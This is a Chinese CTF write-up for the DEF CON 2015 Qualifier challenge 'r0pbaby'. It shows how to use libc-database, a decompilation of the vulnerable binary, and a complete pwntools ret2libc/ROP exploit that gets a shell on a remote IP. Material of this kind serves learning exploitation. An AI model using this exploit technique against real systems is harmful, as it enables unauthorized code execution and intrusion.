Defcon-2015-Qualifier-r0pbaby

一道灰常简单的栈溢出,相当于提供libc.so和它的一个函数地址,直接使用ret2libc即可~

程序下载地址GitHub

libcdb

这道题一个”难点”所在,当我们知道libc的函数地址,可以使用libcdb这个网站来查询目标所使用的libc版本及其他信息,但是,上次问鼎的断网环境把我打怕了,于是又在网上找了离线版本~
https://github.com/niklasb/libc-database
它的原理就是分析所有libc库文件,建立函数与地址对照表,因为随机化对低12字节没有影响,所以可以通过泄露的低12字节来匹配版本,不过由于ctf比赛大多是使用Ubuntu服务器,官方只提供了Ubuntu的支持,下面是使用方法:
Fetch all the configured libc versions and extract the symbol offsets.
It will not download anything twice, so you can also use it to update your
database:

$ ./get

You can also add a custom libc to your database.

$ ./add /usr/lib/libc-2.21.so

Find all the libc’s in the database that have the given names at the given
addresses. Only the last 12 bits are checked, because randomization usually
works on page size level.

$ ./find printf 260 puts f30
archive-glibc (id libc6_2.19-10ubuntu2_i386)

Find a libc from the leaked return address into __libc_start_main.

$ ./find __libc_start_main_ret a83
ubuntu-trusty-i386-libc6 (id libc6_2.19-0ubuntu6.6_i386)
archive-eglibc (id libc6_2.19-0ubuntu6_i386)
ubuntu-utopic-i386-libc6 (id libc6_2.19-10ubuntu2.3_i386)
archive-glibc (id libc6_2.19-10ubuntu2_i386)
archive-glibc (id libc6_2.19-15ubuntu2_i386)

Dump some useful offsets, given a libc ID. You can also provide your own names
to dump.

$ ./dump libc6_2.19-0ubuntu6.6_i386
offset___libc_start_main_ret = 0x19a83
offset_system = 0x00040190
offset_dup2 = 0x000db590
offset_recv = 0x000ed2d0
offset_str_bin_sh = 0x160a24

Check whether a library is already in the database.

$ ./identify /usr/lib/libc.so.6
id local-f706181f06104ef6c7008c066290ea47aa4a82c5

程序分析

查看安全设置:

运行程序:

反编译程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int opt; // eax@4
void *symbolAddr; // rax@14
unsigned __int64 len; // r14@15
int iBak; // er13@17
size_t i; // r12@17
int tmpC; // eax@18
void *handle; // [sp+8h] [bp-448h]@1
char buf[1088]; // [sp+10h] [bp-440h]@2
__int64 savedregs; // [sp+450h] [bp+0h]@22

setvbuf(stdout, 0LL, 2, 0LL);
signal(14, (__sighandler_t)handler); // signalAlarm:14
alarm(60u);
puts("\nWelcome to an easy Return Oriented Programming challenge.");
puts("Menu:");
handle = dlopen("libc.so.6", 1);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
banner();
if ( !input(buf, 1024LL) )
{
puts("Bad choice.");
return 0LL;
}
opt = strtol(buf, 0LL, 10);
if ( opt != 2 )
break;
__printf_chk(1LL, (__int64)"Enter symbol: ");
if ( input(buf, 64LL) )
{
symbolAddr = dlsym(handle, buf);
__printf_chk(1LL, (__int64)"Symbol %s: 0x%016llX\n", buf, symbolAddr);
}
else
{
puts("Bad symbol.");
}
}
if ( opt > 2 )
break;
if ( opt != 1 )
goto LABEL_24;
__printf_chk(1LL, (__int64)"libc.so.6: 0x%016llX\n", handle);
}
if ( opt != 3 )
break;
__printf_chk(1LL, (__int64)"Enter bytes to send (max 1024): ");
input(buf, 1024LL);
len = (signed int)strtol(buf, 0LL, 10);
if ( len - 1 > 1023 )
{
puts("Invalid amount.");
}
else
{
if ( len )
{
iBak = 0;
i = 0LL;
while ( 1 )
{
tmpC = _IO_getc(stdin);
if ( tmpC == -1 )
break;
buf[i] = tmpC;
i = ++iBak;
if ( len <= iBak )
goto LABEL_22;
}
i = iBak + 1;
}
else
{
i = 0LL;
}
LABEL_22:
memcpy(&savedregs, buf, i);
//太太明显了吧,直接从bp开始覆写
}
}
if ( opt == 4 )
break;
LABEL_24:
puts("Bad choice.");
}
dlclose(handle);
puts("Exiting.");
return 0LL;
}

就是这样,安全措施没多大用,程序中的话,就设置了一个定时器,连接60秒后退出程序,里面的逻辑为能输出lbc加载基址,它里面的函数的地址,还能指定一个小于1024的长度,然后输入这么长的字符串,最后还会把此字符串复制到bp开始的堆处~

利用代码

分析:

  • 开了NX不能直接写shell,需要使用ROP
  • 此时已经能够知道system的地址了,就差/bin/sh的地址,通过上面的方法可以知道libc的版本,于是可以计算出它的地址
  • 64位需要rdi传参,有PIE保护不能使用程序中的gadget,但此处可以从libc中找
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#coding=utf-8

from pwn import *

LOCAL=False

if LOCAL:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s = remote('127.0.0.1',4002)
rdiRet = 0x000000000001fc3a
else:
libc = ELF('/root/Desktop/libc-database/db/libc6_2.23-0ubuntu9_amd64.so')
s = remote("121.42.189.18",4002)
rdiRet = 0x0000000000021102

sh = next(libc.search('/bin/sh'))
system = libc.symbols['system']

def getFuncAddr(s,funcName):
s.recvuntil("4) Exit\n: ")
s.sendline('2')
s.recv()
s.sendline(funcName)
addr = s.recvline()[15:-1]
print 'The %s\'s addr is %s' %(funcName , addr)
return int(addr,16)

## 获取system地址
systemAddr = getFuncAddr(s,'system')
## 获取shAddr地址
shAddr = sh - (system - systemAddr)
## gadget地址

rdiRetAddr = rdiRet - (system - systemAddr)

## 构造payload
payload = 'a'*8 + p64(rdiRetAddr) + p64(shAddr)+p64(systemAddr)

s.recv()
s.sendline('3')
s.recv()
s.sendline(str(len(payload)))
s.sendline(payload)
s.interactive()